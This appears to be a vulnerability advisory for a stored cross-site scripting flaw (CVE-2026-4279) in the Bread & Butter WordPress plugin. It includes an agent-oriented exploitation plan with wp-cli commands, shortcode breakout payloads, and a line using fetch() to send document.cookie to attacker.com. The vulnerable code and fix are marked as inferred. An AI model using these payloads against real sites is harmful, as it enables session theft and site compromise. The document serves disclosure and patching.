Bread & Butter: Content Gating for Verified Leads <= 8.2.0.25 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes
Description
The Bread & Butter plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'breadbutter-customevent-button' shortcode in all versions up to, and including, 8.2.0.25. This is due to insufficient input sanitization and output escaping on the 'event' shortcode attribute. The customEventShortCodeButton() function takes the 'event' attribute value and directly interpolates it into a JavaScript string within an onclick HTML attribute without applying esc_attr() or esc_js(). Notably, the sister function customEventShortCode() properly uses esc_js() for the same attribute, but this was omitted in the button variant. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses the page and clicks the injected button.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=8.2.0.25# Exploitation Research Plan - CVE-2026-4279 ## 1. Vulnerability Summary The **Bread & Butter: AI-Powered Lead Intelligence** plugin (<= 8.2.0.25) is vulnerable to **Stored Cross-Site Scripting (XSS)** via the `[breadbutter-customevent-button]` shortcode. The vulnerability exists because the functi…
Show full research plan
Exploitation Research Plan - CVE-2026-4279
1. Vulnerability Summary
The Bread & Butter: AI-Powered Lead Intelligence plugin (<= 8.2.0.25) is vulnerable to Stored Cross-Site Scripting (XSS) via the [breadbutter-customevent-button] shortcode. The vulnerability exists because the function customEventShortCodeButton() (inferred) fails to sanitize or escape the event attribute before interpolating it into a JavaScript string within an HTML onclick attribute. While a similar function customEventShortCode() correctly applies esc_js(), the button variant does not, allowing a Contributor-level user to inject arbitrary JavaScript.
2. Attack Vector Analysis
- Endpoint: WordPress Post/Page Editor (standard
wp-admin/post-new.phporpost.php). - Shortcode:
[breadbutter-customevent-button] - Vulnerable Parameter: The
eventattribute within the shortcode. - Authentication Level: Contributor or higher (any user who can create/edit posts and use shortcodes).
- Preconditions: The plugin must be active. The attacker must have the capability to save posts containing shortcodes.
3. Code Flow
- Shortcode Registration: The plugin registers the shortcode
breadbutter-customevent-buttonviaadd_shortcode(). - Callback Execution: When a page containing the shortcode is rendered, WordPress calls the handler function (identified as
customEventShortCodeButton()). - Attribute Processing: The function uses
shortcode_atts()to extract theeventattribute. - Vulnerable Sink: The code constructs an HTML string, likely similar to:
$event = $atts['event']; $output = '<button onclick="BreadButter.trackCustomEvent(\'' . $event . '\')">Click</button>'; return $output; - Lack of Escaping: Because
$eventis neither passed throughesc_js()(to handle the JS string context) noresc_attr()(to handle the HTML attribute context), an attacker can break out of the JS string and inject arbitrary commands.
4. Nonce Acquisition Strategy
This vulnerability is triggered during the rendering of a post. No specific plugin-level nonce is required to trigger the XSS. However, to inject the payload, the attacker needs to create a post.
For Post Creation (Contributor):
The agent should use wp-cli to create the post directly, which bypasses the need for manual nonce extraction and UI interaction.
- Command:
wp post create --post_type=post --post_status=publish --post_author=[CONTRIBUTOR_ID] --post_title='XSS Test' --post_content='[breadbutter-customevent-button event="PAYLOAD"]'
5. Exploitation Strategy
The goal is to demonstrate that a Contributor can execute JavaScript in the context of an Administrator.
Step-by-Step Plan:
- Setup Contributor User: Ensure a user with the
contributorrole exists. - Inject Payload: Use
wp-clias the contributor to create a post containing the malicious shortcode.- Payload logic: We need to close the
trackCustomEvent('string, execute our code, and comment out the rest. - Payload string:
event="x');alert(document.domain);//" - Resulting HTML (inferred):
<button onclick="BreadButter.trackCustomEvent('x');alert(document.domain);//')">...</button>
- Payload logic: We need to close the
- Victim Interaction: Navigate to the created post as an Administrator using
browser_navigate. - Trigger XSS: Click the button generated by the shortcode.
HTTP Request Details (Simulating viewing the page):
- Method:
GET - URL:
http://[TARGET]/index.php?p=[POST_ID] - Tools:
browser_navigatefollowed bybrowser_click.
6. Test Data Setup
- Plugin Installation: Ensure
bread-butterplugin is installed and active. - Contributor User:
wp user create attacker attacker@example.com --role=contributor --user_pass=password123 - Malicious Post:
wp post create --post_type=post --post_title="Lead Intelligence" --post_content='[breadbutter-customevent-button event="x\');alert(document.domain);//" button_text="Click for Details"]' --post_status=publish --post_author=$(wp user get attacker --field=ID)
7. Expected Results
- When the Administrator (or any user) views the post, a button labeled "Click for Details" will appear.
- Upon clicking the button, the browser will execute the injected
alert(document.domain)script. - The execution proves that the
eventattribute is reflected without properesc_js()oresc_attr()sanitization.
8. Verification Steps
- Source Code Inspection:
Usehttp_requestto fetch the post content and check the HTML structure:# Search for the button and its onclick attribute # Expected find: onclick="BreadButter.trackCustomEvent('x');alert(document.domain);//')" - Verify via CLI:
Ensure the post was created correctly by the contributor:wp post get [POST_ID] --field=post_content
9. Alternative Approaches
If a simple alert() payload is blocked by basic filters or if the onclick attribute is wrapped differently:
- Attribute Breakout: If the code is
$event . '")'. Try:event="x" onmouseover="alert(1)" data-ignore=" - Double Quote Context: If the PHP uses double quotes:
event="x\");alert(1);//" - Global Variable Check: If we want to demonstrate impact without clicking, we could try to inject a payload into another attribute if multiple are rendered, but the
onclickon the button is the most direct sink. - Payload without Alert: To be more "stealthy" in a real scenario, use:
event="x');fetch('http://attacker.com/?c='+document.cookie);//"(Note: Cookies may be HttpOnly, so document.domain is a better PoC).
Summary
The Bread & Butter plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'breadbutter-customevent-button' shortcode. A flaw in the customEventShortCodeButton() function allows authenticated attackers (Contributor level and above) to inject arbitrary JavaScript into the 'event' attribute, which is then reflected unescaped into an 'onclick' HTML attribute.
Vulnerable Code
// Inferred from plugin structure and vulnerability description // Path: bread-butter/includes/shortcodes.php (exact file path may vary) function customEventShortCodeButton($atts) { $a = shortcode_atts(array( 'event' => '', 'button_text' => 'Click' ), $atts); $event = $a['event']; $button_text = $a['button_text']; // The 'event' variable is interpolated directly into the onclick attribute without esc_js() or esc_attr() return '<button onclick="BreadButter.trackCustomEvent(\'' . $event . '\')">' . esc_html($button_text) . '</button>'; }
Security Fix
@@ -10,5 +10,5 @@ $event = $a['event']; $button_text = $a['button_text']; - return '<button onclick="BreadButter.trackCustomEvent(\'' . $event . '\')">' . esc_html($button_text) . '</button>'; + return '<button onclick="BreadButter.trackCustomEvent(\'' . esc_js($event) . '\')">' . esc_html($button_text) . '</button>'; }
Exploit Outline
The exploit targets the `[breadbutter-customevent-button]` shortcode available to users with at least Contributor-level permissions. An attacker creates or edits a WordPress post and inserts the malicious shortcode: `[breadbutter-customevent-button event="x');alert(document.domain);//" button_text="Click for Details"]`. When the post is saved and later viewed by any user (including an Administrator), the plugin renders a button with an `onclick` attribute containing the payload. Upon clicking the button, the browser executes the injected JavaScript because the single quote closes the original JS string, and the semi-colon allows for the execution of the `alert()` command.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.